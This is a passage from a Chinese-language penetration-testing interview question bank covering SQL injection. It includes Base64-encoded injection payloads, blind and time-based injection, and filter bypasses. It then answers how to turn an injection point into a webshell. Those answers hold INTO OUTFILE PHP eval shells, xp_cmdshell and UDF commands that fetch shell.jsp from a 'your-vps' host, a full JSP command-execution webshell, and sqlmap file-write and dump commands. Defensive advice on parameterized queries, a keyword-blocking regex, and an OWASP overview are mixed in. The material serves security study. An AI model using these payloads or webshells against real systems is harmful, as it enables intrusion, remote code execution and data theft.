),目标 SQL 可能为 WHERE name = '{DATA_DECODED}'
。
- Payload:
' OR '1'='1--
,编码后为JyBPUiAnMSAnPScxLS0t
,解码后 SQL 为WHERE name = '' OR '1'='1--'
,同样恒成立。
3. 盲注场景(无回显时)
若页面无显式回显,使用 布尔盲注 或 时间盲注:
- 布尔盲注 Payload(判断数据库名长度):python
# 原始语句:16 AND LENGTH(DATABASE())>5--
encoded = base64.b64encode("16 AND LENGTH(DATABASE())>5--".encode()).decode()
通过页面是否正常返回(如状态码、响应内容变化)判断条件是否成立。
- 时间盲注 Payload(利用 SLEEP 函数):python
# 原始语句:16 AND IF(LENGTH(DATABASE())=8, SLEEP(5), 0)--
encoded = base64.b64encode("16 AND IF(LENGTH(DATABASE())=8, SLEEP(5), 0)--".encode()).decode()
通过响应时间是否延迟判断条件是否成立。
4. 绕过过滤(若服务器端过滤部分字符)
若服务器端对解码后的参数过滤了 '
、--
、;
等字符,可使用变形技巧:
- 双写绕过:如
''
代替'
(部分框架会过滤单个引号,但双写可能保留一个)。 - 十六进制编码:将字符转换为十六进制(如
0x27
代替'
),Base64 编码后传递:python
payload = "16 AND 0x27=0x27--" # 0x27是单引号的十六进制
encoded = base64.b64encode(payload.encode()).decode()
- 内联注释:利用 MySQL 的注释语法
/* */
包裹恶意代码,如16/**/OR/**/1=1
。
三、自动化测试工具辅助
- Burp Suite 手动测试
-
- 拦截请求,解码
DATA
参数,修改为恶意 Payload 后重新编码,观察响应变化。 - 使用 Burp 的 Decoder 模块快速编码 / 解码 Base64 数据。
- 拦截请求,解码
- Sqlmap 定制参数
-
- 通过
--decode
选项指定 Base64 解码(需确认编码类型):bash
- 通过
sqlmap -u "demo.do?DATA=AjAxNg==" --dbms mysql --decode=base64
-
- 若工具不支持自动解码,可先编写 Python 脚本生成编码后的 Payload,再手动注入。
四、防御方案(针对变形注入的核心措施)
- 禁止直接拼接 SQL(根本解决方案)
-
- 使用 参数化查询(预处理语句),确保用户输入(即使经过编码)作为独立参数传递,而非拼入 SQL 语句。
错误示例(危险):java
- 使用 参数化查询(预处理语句),确保用户输入(即使经过编码)作为独立参数传递,而非拼入 SQL 语句。
// 直接拼接解码后的参数(漏洞根源)
String decodedData = base64Decode(request.getParameter("DATA"));
String sql = "SELECT * FROM table WHERE id = " + decodedData;
正确示例(安全):java
// 使用预处理语句,参数独立传递
String decodedData = base64Decode(request.getParameter("DATA"));
PreparedStatement stmt = conn.prepareStatement("SELECT * FROM table WHERE id = ?");
stmt.setInt(1, Integer.parseInt(decodedData)); // 假设是数字型,严格校验类型
- 输入类型严格校验
-
- 若参数应为数字型,解码后强制转换为整数,拒绝非数字输入:python
try:data = int(base64.b64decode(data_param))
except ValueError:return "非法参数", 400
- 编码层防御
-
- 若必须使用 Base64 编码,在解码后对参数进行 二次过滤,禁止危险字符(如
OR
、AND
、--
等),可使用正则表达式:python
- 若必须使用 Base64 编码,在解码后对参数进行 二次过滤,禁止危险字符(如
import re
decoded = base64.b64decode(data_param).decode()
if re.search(r'OR|AND|--|;|#', decoded, re.IGNORECASE):return "参数包含非法字符", 400
- 最小化数据库权限
-
- 确保数据库用户仅有执行必要操作的权限(如
SELECT
),避免使用GRANT ALL
等高权限账户。
- 确保数据库用户仅有执行必要操作的权限(如
五、总结
针对 Base64 编码的变形 SQL 注入,核心思路是:
- 解码分析:确定参数编码方式,还原原始输入逻辑。
- 构造 Payload:利用 Base64 编码的可逆性,将恶意 SQL 语句编码后传递。
- 绕过过滤:通过变形技巧(如十六进制、双写、注释)绕过简单的字符过滤。
- 防御重点:无论参数如何编码,核心防御是 参数化查询 和 严格的类型校验,从根本上切断注入点。
通过以上步骤,可有效分析此类漏洞并实施针对性防御,避免编码层被利用为注入跳板。### 分析思路
1. 解码参数
从链接 demo.do?DATA=AjAxNg==
来看,DATA
参数的值是经过编码的(很可能是 Base64 编码)。首先需要对其进行解码,Python 代码示例如下:
python
import base64encoded_data = "AjAxNg=="
decoded_data = base64.b64decode(encoded_data).decode('utf-8', errors='ignore')
print(decoded_data)
解码后得到实际的参数值,以此来分析原本的输入内容。
2. 确定注入类型
- 数字型注入尝试:如果解码后的数据看起来像数字,可尝试在解码后的数据基础上构造简单的数字型注入语句,如
原始数据 OR 1=1
,再将构造后的数据进行 Base64 编码替换原链接中的DATA
参数值,观察页面响应是否有变化。 - 字符型注入尝试:若解码后的数据像是字符串,可尝试使用引号闭合字符串,例如
原始数据' OR '1'='1
,同样进行 Base64 编码后替换参数值进行测试。 - 盲注尝试:当页面没有明显的错误信息或数据回显时,可使用布尔盲注(如
原始数据 AND (SELECT COUNT(*) FROM users) > 10
)或时间盲注(如原始数据 AND SLEEP(5)
),编码后测试页面响应时间或页面状态变化。
3. 识别数据库类型
- 错误信息分析:若测试过程中页面返回了数据库的错误信息,依据错误信息的特征判断数据库类型。例如,MySQL 可能会出现
MySQL syntax error
提示,SQL Server 可能会有特定的错误代码和提示信息。 - 特定函数测试:通过使用特定数据库的函数进行测试,如
@@version
是 MySQL 特有的函数,GETDATE()
是 SQL Server 特有的函数。将包含这些函数的注入语句进行 Base64 编码后测试,根据能否得到有效结果判断数据库类型。
4. 利用变形特点分析
由于是变形注入,可能存在一些特殊的编码、加密或者绕过机制。需要仔细观察页面响应,分析注入语句被处理后的效果,查看是否存在过滤、转义等情况。例如,某些网站可能会对常见的注入关键字进行过滤,可尝试使用大小写混合、编码绕过等方式。
防御思路
1. 代码层面
- 参数化查询:在后端代码中使用参数化查询,避免将用户输入直接拼接到 SQL 语句中。不同编程语言的实现方式不同,以下是 Java 使用 JDBC 进行参数化查询的示例:
java
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;public class ParameterizedQueryExample {public static void main(String[] args) {try (Connection conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/yourdb", "username", "password")) {String base64Data = "AjAxNg==";String decodedData = new String(java.util.Base64.getDecoder().decode(base64Data));String query = "SELECT * FROM your_table WHERE data_column = ?";try (PreparedStatement pstmt = conn.prepareStatement(query)) {pstmt.setString(1, decodedData);try (ResultSet rs = pstmt.executeQuery()) {while (rs.next()) {// 处理结果}}}} catch (SQLException e) {e.printStackTrace();}}
}
- 输入验证和过滤:对解码后的用户输入进行严格的验证和过滤,只允许合法的字符和格式。可以使用正则表达式来限制输入,例如只允许字母和数字:
python
import re
import base64encoded_data = "AjAxNg=="
decoded_data = base64.b64decode(encoded_data).decode('utf-8', errors='ignore')
if re.match(r'^[a-zA-Z0-9]+$', decoded_data):# 输入合法,继续处理pass
else:# 输入非法,给出错误提示print("输入包含非法字符")
2. 配置层面
- 最小权限原则:确保数据库用户具有执行任务所需的最小权限,避免使用具有过高权限的数据库账户。
- 更新数据库和应用程序:及时更新数据库管理系统和应用程序,修复已知的安全漏洞。
3. 监控和审计
- 日志记录:记录所有的数据库操作和用户输入,包括 Base64 编码前后的数据,以便在发生安全事件时进行审计和追踪。
- 实时监控:使用入侵检测系统(IDS)或入侵防御系统(IPS)来实时监控数据库的访问,及时发现并阻止可疑的注入行为。
35.发现demo.jsp?uid=110诸如点,你有哪几种思路获取webshell,哪种是优选
一、核心思路与方法
1. 利用数据库函数直接写入文件(优先推荐)
适用于 MySQL/MariaDB(需 FILE_PRIV
权限)、SQL Server(需 xp_cmdshell
或文件操作权限)等场景:
- 前提条件:
-
- 知道 Web 目录绝对路径(可通过注入获取,如
SELECT @@basedir
(MySQL)、master.dbo.xp_fileexist
(SQL Server)或读取配置文件)。 - 数据库用户有文件写入权限(如 MySQL 的
root
,SQL Server 的sa
或高权限用户)。
- 知道 Web 目录绝对路径(可通过注入获取,如
- 具体操作:
-
- MySQL:
使用INTO OUTFILE
写入一句话木马:sql
- MySQL:
uid=110 UNION SELECT 1,'<?php @eval($_POST["cmd"]);?>' INTO OUTFILE '/var/www/html/shell.php'
或通过报错注入获取路径后写入(需绕过 secure_file_priv
限制,如设置为 ''
或指向 Web 目录)。
-
- SQL Server:
启用xp_cmdshell
(需sa
权限)后执行系统命令写入:sql
- SQL Server:
uid=110; EXEC master.dbo.xp_cmdshell 'echo ^<%@ Page Language="Javascript" %^> ^<script^>eval(Request["cmd"])^</script^> > C:\inetpub\wwwroot\shell.jsp'--
2. 执行系统命令下载 / 生成 WebShell(需权限支持)
适用于支持存储过程或可加载自定义函数(UDF)的数据库:
- MySQL:
-
- 上传 UDF 动态库(如
udf.dll
),创建自定义函数(如sys_exec
)执行命令,下载 WebShell:sql
- 上传 UDF 动态库(如
uid=110; SELECT sys_exec('wget http://your-vps/shell.jsp -O /var/www/html/shell.jsp')--
-
- 低权限时可利用
LOAD DATA LOCAL INFILE
加载本地文件(需客户端配合)。
- 低权限时可利用
- SQL Server:
-
- 启用
Ole Automation procedures
后,通过SP_OACREATE
调用 COM 对象下载文件:sql
- 启用
uid=110; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;
DECLARE @o INT, @f INT, @t INT, @ret INT; EXEC sp_oacreate 'WinHttp.WinHttpRequest.5.1', @o OUT; EXEC sp_oamethod @o, 'Open', NULL, 'GET', 'http://your-vps/shell.jsp', false; EXEC sp_oamethod @o, 'Send'; EXEC sp_oamethod @o, 'ResponseBody', @f OUT; --
3. 获取敏感数据后结合其他漏洞(如后台登录)
- 通过注入获取管理员账号密码(如查询用户表
SELECT username, password FROM users
),登录后台管理系统,利用后台文件上传功能直接上传 WebShell(如 jspx、jsp 木马)。 - 若后台存在文件上传点但过滤严格,可尝试绕过(如改后缀、00 截断、双写扩展名等)。
4. 利用带外(Out-of-Band)数据通道(如 DNS/HTTP 回显)
适用于盲注场景,通过构造 payload 让服务器主动连接攻击者主机,传输 WebShell 内容:
- 使用工具(如
sqlmap --os-pwn
)或自定义脚本,利用数据库的外部连接功能(如 MySQL 的LOAD_FILE
结合 DNS 日志,SQL Server 的OPENROWSET
调用 HTTP 请求)。
5. 结合文件包含漏洞(若存在)
若目标站点同时存在文件包含漏洞(如 include.php?file=xxx
),可通过 SQL 注入写入恶意文件路径,或生成包含恶意代码的文件供包含执行:
sql
uid=110 UNION SELECT 1,'<?php include($_GET["f"]);?>' INTO OUTFILE '/var/www/html/inc.php'
然后访问 include.php?file=http://your-vps/shell.txt
加载远程木马。
二、优选策略
1. 直接文件写入(首选)
- 优势:步骤简单、效率高,无需复杂权限提升或依赖其他漏洞。
- 适用场景:明确 Web 目录路径、数据库用户有高权限(如
root
/sa
)、无严格文件写入限制(如 MySQL 的secure_file_priv
未禁用)。 - 工具辅助:使用
sqlmap --file-write
指定本地木马文件,结合--file-dest
写入目标路径:bash
sqlmap -u "http://target/demo.jsp?uid=110" --file-write shell.jsp --file-dest "/var/www/html/shell.jsp"
2. 后台登录 + 上传(次选)
- 优势:兼容性强,不依赖数据库底层文件操作权限。
- 适用场景:注入点无法直接写入文件(如权限不足、路径未知),但能获取管理员凭证。
3. 系统命令执行(需谨慎)
- 注意:部分环境严格禁用存储过程(如
xp_cmdshell
),或存在防火墙限制,需先突破权限或配置限制。
三、风险与绕过技巧
- 路径获取:通过报错信息、配置文件(如
web.xml
、config.php
)、数据库变量(@@basedir
、serverproperty('InstanceDefaultPath')
)或暴力枚举(如常见 Web 目录/var/www/html/
、C:\inetpub\wwwroot\
)。 - 权限绕过:低权限用户可尝试提权(如 MySQL 利用
user()='root'@'%'
或 SQL Server 查找可调用的存储过程)。 - 文件后缀适配:目标为 Java 应用(
.jsp
),需写入.jsp
或.jspx
后缀文件,内容示例:jsp
<%@ page import="java.util.*,java.io.*"%><% if(request.getParameter("cmd")!=null){ String cmd = request.getParameter("cmd"); Process p = Runtime.getRuntime().exec(cmd); OutputStream os = p.getOutputStream(); InputStream is = p.getInputStream(); DataInputStream dis = new DataInputStream(is); String disr = dis.readLine(); while (disr != null) { out.println(disr); disr = dis.readLine(); } } %>
总结
首选 直接文件写入(配合 sqlmap
自动化工具),前提是确认路径和权限;若条件不满足,通过注入获取管理员账号登录后台上传为次优解。实际操作中需优先探测数据库类型、用户权限及 Web 目录,结合具体环境选择最高效的方案。
36.说出至少三种业务逻辑漏洞,以及修复方式
一、越权访问漏洞(Horizontal/Vertical Privilege Escalation)
漏洞描述
用户通过篡改请求参数(如 ID、令牌、路径等),非法访问或操作其他用户数据(水平越权),或获取更高权限功能(垂直越权)。
- 水平越权:同一角色用户之间越权访问,例如 A 用户修改 URL 中的
user_id=1
为user_id=2
,查看 B 用户的个人信息。 - 垂直越权:低权限用户尝试访问高权限功能,例如普通用户直接访问管理员接口
/admin/deleteUser
。
常见场景
- 接口参数(如
user_id
、order_id
)未做权限校验,仅依赖前端控制。 - 权限校验不彻底,仅校验用户是否登录,未校验用户角色或数据归属。
修复方式
- 后端强制权限校验:
-
- 每次涉及用户数据或敏感操作时,在服务器端校验用户权限(如用户 ID 是否属于当前登录用户,角色是否具备操作权限)。
- 示例:查询用户信息时,除传递
user_id
外,需验证user_id
与当前登录用户的 ID 一致,或通过数据库关联当前用户会话。
- 避免依赖前端控制:
-
- 敏感操作(如删除、修改)的入口不直接暴露在 URL 中,或通过令牌(Token)、CSRF 令牌等机制绑定用户会话。
- 最小权限原则:
-
- 用户角色权限严格分级(如普通用户、管理员),低权限用户无法通过 URL 路径或参数直接访问高权限接口。
二、支付逻辑漏洞(Payment Logic Flaws)
漏洞描述
交易流程中因价格校验、支付状态验证或数据篡改处理不当,导致恶意用户篡改订单金额、绕过支付或重复支付。
常见场景
- 客户端价格篡改:
-
- 订单金额在客户端(如 HTML/JS)生成,攻击者通过修改前端数据(如将
price=100
改为price=1
)欺骗服务器。
- 订单金额在客户端(如 HTML/JS)生成,攻击者通过修改前端数据(如将
- 支付状态绕过:
-
- 服务器仅依赖客户端返回的支付结果(如
success=true
),未主动向支付平台查询实际支付状态。
- 服务器仅依赖客户端返回的支付结果(如
- 重复支付 / 退款:
-
- 未对订单号或支付凭证做唯一性校验,导致重复提交支付请求或多次退款。
修复方式
- 服务器端生成并校验关键数据:
-
- 订单金额、商品数量等关键信息由服务器端生成,禁止直接使用客户端传递的数据(如从数据库读取商品价格,而非前端传入)。
- 主动验证支付状态:
-
- 支付完成后,服务器端通过支付平台 API(如支付宝、微信支付)主动查询订单状态,而非依赖客户端返回的参数。
- 唯一性校验与事务控制:
-
- 对订单号、支付凭证添加唯一性约束,确保同一订单只能支付 / 退款一次;使用数据库事务保证操作原子性,避免并发漏洞。
三、验证码缺陷(Verification Code Vulnerabilities)
漏洞描述
验证码机制设计不严谨,导致攻击者可绕过、暴力破解或重复使用验证码,常见于注册、登录、密码重置等场景。
常见场景
- 验证码可重复使用:
-
- 验证码未设置失效时间或使用次数限制,一次生成可多次用于不同操作(如注册、找回密码)。
- 验证码客户端校验:
-
- 验证码校验逻辑仅在前端(JS)执行,攻击者可直接跳过前端校验,向服务器发送伪造请求。
- 验证码过于简单或无频率限制:
-
- 验证码为纯数字 4 位以下,或未限制单位时间内发送次数,导致暴力破解(如通过脚本枚举所有可能的验证码)。
修复方式
- 服务器端存储与校验:
-
- 验证码生成后存储在服务器端(如 Session、Redis),并设置有效期(如 5 分钟)和单次使用属性,校验时从服务器端获取并删除 / 标记已使用。
- 限制请求频率:
-
- 对验证码发送接口(如 “发送短信验证码”)添加频率限制(如每分钟最多 3 次),结合 IP 或用户 ID 进行限流,防止暴力破解。
- 增强验证码复杂度:
-
- 使用图文混合验证码、滑动验证、二次校验(如先输入图片验证码,再发送短信验证码),或引入第三方安全组件(如 Google 验证码)。
四、扩展:其他常见业务逻辑漏洞
- 竞争条件漏洞:
-
- 场景:多用户并发操作时(如抢单、库存扣减),未做原子性校验,导致超卖或数据不一致。
- 修复:使用数据库行锁(如 MySQL 的
SELECT ... FOR UPDATE
)、分布式锁(如 Redis)或队列(如 RabbitMQ)保证操作顺序性。
- 密码重置漏洞:
-
- 场景:通过手机号 / 邮箱重置密码时,未严格验证身份(如未校验短信接收者是否为账户绑定用户),或重置令牌可预测。
- 修复:重置令牌使用高强度随机字符串(如 32 位 UUID),设置短有效期,并通过多因素验证(如旧密码 + 短信验证码)增强身份校验。
总结
业务逻辑漏洞的核心修复原则是:不信任客户端输入,所有关键逻辑在服务器端严格校验。具体包括:
- 对用户输入和请求参数进行全面合法性校验(如数据类型、权限归属、业务规则)。
- 使用安全框架或组件(如 OAuth、JWT)处理认证授权,避免自定义逻辑引入漏洞。
- 通过业务流程测试(如边界值分析、并发测试)发现逻辑缺陷,结合渗透测试或自动化工具(如 Burp Suite)模拟攻击场景。
37.sqlmap怎莫对一个注入点注入
Sqlmap 是一款功能强大的自动化 SQL 注入工具,下面为你详细介绍使用 Sqlmap 对注入点进行注入的步骤:
1. 安装 Sqlmap
如果你还未安装 Sqlmap,可以从其官方 GitHub 仓库克隆代码:
bash
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
cd sqlmap-dev
2. 确定注入点
注入点通常是指网页 URL 中的参数部分,例如 http://example.com/vulnerable_page.php?id=1
,这里的 id
参数就可能是一个注入点。你可以通过手动测试、使用漏洞扫描工具等方式来发现注入点。
3. 使用 Sqlmap 进行注入
3.1 基本注入
如果已经确定了一个可能的注入点,可以使用以下命令让 Sqlmap 自动检测和利用该注入点:
bash
python3 sqlmap.py -u "http://example.com/vulnerable_page.php?id=1"
在上述命令中:
python3 sqlmap.py
用于启动 Sqlmap 工具。-u
参数用于指定目标 URL,即包含注入点的 URL。
Sqlmap 会自动检测该 URL 是否存在 SQL 注入漏洞,并尝试利用漏洞获取数据库信息。
3.2 指定数据库管理系统(DBMS)
如果已经知道目标网站使用的数据库管理系统(如 MySQL、SQL Server 等),可以使用 --dbms
参数来指定,这样可以提高检测和利用的效率:
bash
python3 sqlmap.py -u "http://example.com/vulnerable_page.php?id=1" --dbms=mysql
3.3 列出所有数据库
当确定存在注入漏洞后,可以使用 --dbs
参数列出目标数据库管理系统中的所有数据库:
bash
python3 sqlmap.py -u "http://example.com/vulnerable_page.php?id=1" --dbs
3.4 列出指定数据库中的所有表
在知道了数据库名称后,可以使用 -D
参数指定数据库,然后使用 --tables
参数列出该数据库中的所有表:
bash
python3 sqlmap.py -u "http://example.com/vulnerable_page.php?id=1" -D "database_name" --tables
3.5 列出指定表中的所有列
知道了表名后,可以使用 -T
参数指定表,然后使用 --columns
参数列出该表中的所有列:
bash
python3 sqlmap.py -u "http://example.com/vulnerable_page.php?id=1" -D "database_name" -T "table_name" --columns
3.6 导出指定列的数据
最后,可以使用 -C
参数指定要导出的列,然后使用 --dump
参数导出这些列的数据:
bash
python3 sqlmap.py -u "http://example.com/vulnerable_page.php?id=1" -D "database_name" -T "table_name" -C "column1,column2" --dump
4. 其他常用参数
--batch
:在自动模式下运行,所有提示都采用默认值,无需人工干预,适合批量测试。
bash
python3 sqlmap.py -u "http://example.com/vulnerable_page.php?id=1" --batch
--random-agent
:使用随机的 User - Agent 头,避免被目标网站根据 User - Agent 识别为自动化工具。
bash
python3 sqlmap.py -u "http://example.com/vulnerable_page.php?id=1" --random-agent
--proxy
:指定代理服务器,用于通过代理进行测试。
bash
python3 sqlmap.py -u "http://example.com/vulnerable_page.php?id=1" --proxy "http://127.0.0.1:8080"
注意事项
- 在使用 Sqlmap 进行测试时,必须获得目标系统所有者的授权,否则可能会触犯法律。
- 有些网站可能会有反爬虫机制或防火墙,可能会阻止 Sqlmap 的请求。可以尝试使用代理、随机 User - Agent 等方式绕过这些限制。
38.延时注入如何来判断
1. 确定注入点
首先要找出可能存在 SQL 注入漏洞的参数。常见的注入点位于 URL 参数、表单字段等位置。可以通过以下方法初步确定注入点:
- 手动测试:在参数值后添加单引号
'
或其他特殊字符,观察页面响应是否有异常,如出现错误信息、页面加载缓慢或页面显示异常等。例如,对于 URLhttp://example.com/search.php?keyword=test
,可以尝试修改为http://example.com/search.php?keyword=test'
。 - 使用工具扫描:利用漏洞扫描工具(如 Burp Suite、Nessus 等)对目标网站进行扫描,帮助发现可能的注入点。
2. 选择合适的延时函数
不同的数据库管理系统有不同的延时函数:
- MySQL:使用
SLEEP()
函数,该函数接受一个整数参数,表示要延时的秒数。例如,SLEEP(5)
表示延时 5 秒。 - SQL Server:使用
WAITFOR DELAY
语句,格式为WAITFOR DELAY 'hh:mm:ss'
,例如WAITFOR DELAY '00:00:05'
表示延时 5 秒。 - Oracle:使用
DBMS_LOCK.SLEEP()
函数,例如DBMS_LOCK.SLEEP(5)
表示延时 5 秒。
3. 构造延时注入语句
构造包含延时函数的 SQL 语句,根据注入点的类型(数字型、字符型)进行不同的构造:
- 数字型注入:如果注入点是数字型参数,例如
id
参数,构造的延时注入语句可以是:
-
- MySQL:
id=1 AND SLEEP(5)
- SQL Server:
id=1; WAITFOR DELAY '00:00:05'--
- MySQL:
- 字符型注入:如果注入点是字符型参数,需要用引号闭合字符串,构造的延时注入语句可以是:
-
- MySQL:
id='1' OR SLEEP(5) --
- SQL Server:
id='1'; WAITFOR DELAY '00:00:05' --
- MySQL:
4. 发送请求并观察响应时间
将构造好的延时注入语句添加到注入点参数中,发送请求并观察页面的响应时间。具体操作如下:
- 正常请求:先发送一个正常的请求,记录页面的正常响应时间
T1
。 - 延时请求:发送包含延时函数的请求,记录页面的响应时间
T2
。 - 判断注入是否成功:如果
T2
比T1
明显增加,且增加的时间接近或等于延时函数设置的时间,那么很可能存在延时注入漏洞。例如,设置的延时时间为 5 秒,正常响应时间为 1 秒,而包含延时函数的请求响应时间为 6 秒左右,就可以初步判断存在延时注入漏洞。
5. 编写脚本进行自动化判断
可以使用 Python 编写脚本,结合 requests
库来自动化发送请求并判断响应时间:
python
import requests
import time# 正常请求的 URL
normal_url = "http://example.com/search.php?keyword=test"
# 延时请求的 URL
delay_url = "http://example.com/search.php?keyword=test' OR SLEEP(5) --"# 发送正常请求,记录响应时间
start_time = time.time()
response = requests.get(normal_url)
normal_time = time.time() - start_time# 发送延时请求,记录响应时间
start_time = time.time()
response = requests.get(delay_url)
delay_time = time.time() - start_time# 判断是否存在延时注入
if delay_time - normal_time >= 4: # 考虑网络延迟等因素,设置一个合理的阈值print("可能存在延时注入漏洞")
else:print("未发现延时注入漏洞")
6. 进一步验证
为了确保判断的准确性,可以进行多次测试,改变延时函数的延时时间,观察响应时间是否随之变化。还可以结合其他类型的盲注(如布尔盲注)进行验证,以提高判断的可靠性。
需要注意的是,在进行延时注入测试时,必须获得目标系统所有者的授权,否则可能会触犯法律。
39.owasp漏洞都有哪些
一、传统 Web 应用漏洞(OWASP Top 10 2021)
虽然 2025 年的官方更新尚未发布,但 2021 年版 仍是当前主流参考框架,覆盖了 94% 的 Web 应用安全问题16。
1. A01: 失效的访问控制(Broken Access Control)
- 风险:权限检查机制失效,导致未授权用户访问敏感资源(如修改他人数据、越权访问后台)。
- 案例:通过修改 URL 参数绕过身份验证,或利用会话令牌篡改实现账户接管。
- 修复:采用细粒度权限控制(如 RBAC),并对所有 API 端点进行动态授权验证。
2. A02: 加密失败(Cryptographic Failures)
- 风险:敏感数据(如密码、信用卡信息)未加密存储或传输,或使用弱加密算法(如 MD5、SHA-1)。
- 案例:用户密码以明文形式存储,或通过 HTTP 传输敏感信息。
- 修复:使用 AES-256 加密静态数据,强制 TLS 1.3 加密传输,定期审计加密库漏洞。
3. A03: 注入漏洞(Injection)
- 风险:攻击者通过输入字段注入恶意代码(如 SQL、OS 命令),导致数据库泄露或服务器被控制。
- 案例:SQL 注入攻击通过构造
' OR 1=1 --
绕过登录验证。 - 修复:使用参数化查询或 ORM 框架,对输入进行严格的白名单验证。
4. A04: 不安全的设计(Insecure Design)
- 风险:系统设计阶段缺乏威胁建模,导致逻辑漏洞(如业务流程缺陷、权限滥用)。
- 案例:未限制密码重试次数,导致暴力破解攻击。
- 修复:采用安全设计模式(如最小权限原则),进行威胁建模和滥用案例分析。
5. A05: 安全配置错误(Security Misconfiguration)
- 风险:服务器、数据库或中间件配置不当(如未关闭调试接口、未更新补丁)。
- 案例:暴露 Tomcat 管理后台或 Elasticsearch 未授权访问。
- 修复:使用安全配置基线(如 CIS 基准),定期扫描和更新配置。
6. A06: 易受攻击的组件(Vulnerable and Outdated Components)
- 风险:使用已知漏洞的第三方库或框架(如 Log4j 2.x、Struts 2)。
- 案例:Log4j 远程代码执行漏洞导致全球大规模攻击。
- 修复:使用依赖管理工具(如 OWASP Dependency-Check),及时更新组件。
7. A07: 身份验证失败(Identification and Authentication Failures)
- 风险:身份验证机制薄弱(如弱密码策略、会话固定)。
- 案例:通过暴力破解或凭证填充攻击获取账户权限。
- 修复:实施多因素认证(MFA),定期轮换密钥,使用安全令牌(如 JWT)。
8. A08: 软件和数据完整性故障(Software and Data Integrity Failures)
- 风险:未验证软件更新或数据的完整性(如供应链攻击、文件篡改)。
- 案例:恶意代码注入开源软件包,导致用户下载后感染病毒。
- 修复:使用数字签名验证代码来源,实施 CI/CD 流水线安全扫描。
9. A09: 安全日志记录和监控不足(Security Logging and Monitoring Failures)
- 风险:缺乏日志记录或监控机制,导致攻击行为难以追溯。
- 案例:未记录异常登录尝试,无法及时发现账户泄露。
- 修复:启用详细日志记录(如登录失败、权限变更),集成 SIEM 系统进行实时监控。
10. A10: 服务器端请求伪造(SSRF)
- 风险:攻击者诱使服务器发起恶意请求(如访问内部服务、端口扫描)。
- 案例:通过构造
http://localhost:8080/admin
访问本地管理界面。 - 修复:限制服务器发起外部请求的权限,使用白名单验证目标 URL。
二、智能合约漏洞(OWASP Top 10 2025 for Smart Contracts)
随着区块链技术的发展,OWASP 2025 年新增了针对智能合约的十大漏洞156:
1. SC01: 访问控制漏洞
- 风险:权限检查逻辑错误,导致攻击者控制合约(如重新初始化合约获取管理员权限)。
- 案例:88mph 合约初始化漏洞导致攻击者窃取 9530 万美元。
2. SC02: 价格预言机操纵
- 风险:操纵链上价格数据,引发 DeFi 协议资产池失衡。
- 案例:通过闪电贷攻击操纵 Uniswap 价格预言机,套利数百万美元。
3. SC05: 重入攻击
- 风险:利用合约未及时更新状态的漏洞,重复调用函数耗尽资金。
- 案例:2016 年 The DAO 攻击导致 7000 万美元 ETH 被盗。
4. SC07: 闪电贷攻击
- 风险:在单笔交易中无抵押借入资金,操纵市场或耗尽流动性。
- 案例:攻击者通过闪电贷攻击 Cream Finance,窃取 1.3 亿美元。
三、LLM 应用漏洞(OWASP Top 10 2025 for LLMs)
针对大语言模型(LLM)的安全风险,OWASP 2025 年更新了以下关键漏洞9:
1. 提示注入(Prompt Injection)
- 风险:通过构造恶意提示绕过安全限制,获取敏感信息或执行非法操作。
- 案例:诱导企业聊天机器人泄露内部文档或 API 密钥。
2. 供应链漏洞(Supply Chain Vulnerabilities)
- 风险:训练数据或第三方库存在恶意代码,导致模型输出偏差或安全漏洞。
- 案例:开源数据集包含偏见数据,导致模型生成歧视性内容。
3. 向量和嵌入弱点(Vector and Embedding Weaknesses)
- 风险:向量数据库或嵌入算法存在缺陷,导致敏感数据泄露或模型被逆向工程。
- 案例:通过嵌入向量反推原始文本,获取加密数据。
四、移动应用漏洞(OWASP Mobile Top 10 2024)
2024 年移动应用漏洞新增以下类别810:
1. M1: 凭证使用不当
- 风险:硬编码 API 密钥或明文存储用户密码,导致凭证泄露。
- 案例:应用日志中泄露 OAuth 令牌,攻击者利用其访问用户账户。
2. M2: 供应链安全不足
- 风险:第三方 SDK 或库存在漏洞,导致应用被攻击。
- 案例:恶意 SDK 收集用户隐私数据并上传至服务器。
五、基础设施安全风险(OWASP Top 10 2024 for Infrastructure)
针对云基础设施的安全风险,2024 年新增以下类别17:
1. ISR01: 过时的软件
- 风险:未及时更新操作系统或中间件,导致已知漏洞被利用。
- 案例:未打补丁的 Apache Log4j 2 组件引发大规模攻击。
2. ISR06: 不安全的网络访问管理
- 风险:未限制云服务器的网络访问权限,导致端口扫描或暴力破解。
- 案例:暴露 22 端口且未启用 SSH 密钥认证,攻击者通过暴力破解登录服务器。
总结与建议
- 领域针对性:根据应用类型(Web、智能合约、LLM、移动、基础设施)选择对应的 OWASP 漏洞列表。
- 防御策略:
-
- Web 应用:采用安全框架(如 Spring Security),定期进行渗透测试。
- 智能合约:使用形式化验证工具(如 Oyente),审计重入和权限逻辑。
- LLM 应用:实施提示过滤和输出监控,限制模型权限。
- 资源参考:
-
- 官方文档:OWASP Top 10 2021(传统 Web)。
- 智能合约:OWASP Smart Contract Top 10 2025。
- LLM 应用:OWASP LLM Top 10 2025。
通过结合不同领域的漏洞特征和防御措施,可系统性提升应用安全性,降低被攻击风险。
40.SQL里面只有update怎莫利用
1. 确定注入类型和数据库类型
1.1 确定注入类型
先判断注入点属于数字型还是字符型。可以通过在输入处添加单引号 '
来判断,如果页面出现错误,可能是字符型注入;若页面正常响应,可尝试构造简单的逻辑判断语句,如 1 OR 1=1
,若结果异常,则可能存在数字型注入。
1.2 确定数据库类型
可以通过注入特定数据库函数来判断数据库类型。例如:
- MySQL:可尝试注入
SELECT @@version
,若能获取到数据库版本信息,则可能是 MySQL 数据库。 - SQL Server:可尝试注入
SELECT @@SERVERNAME
,若有结果返回,则可能是 SQL Server 数据库。
2. 信息收集
2.1 获取数据库名
- MySQL:可使用如下注入语句获取数据库名:
sql
' OR (SELECT COUNT(*) FROM information_schema.schemata WHERE schema_name = 'your_database_name') > 0 --
将 your_database_name
替换为猜测的数据库名,若页面响应正常,则猜测正确。
- SQL Server:可使用如下注入语句:
sql
'; IF (SELECT COUNT(*) FROM sys.databases WHERE name = 'your_database_name') > 0 WAITFOR DELAY '0:00:05' --
若页面响应延迟 5 秒,则猜测的数据库名正确。
2.2 获取表名
- MySQL:可使用如下注入语句获取指定数据库中的表名:
sql
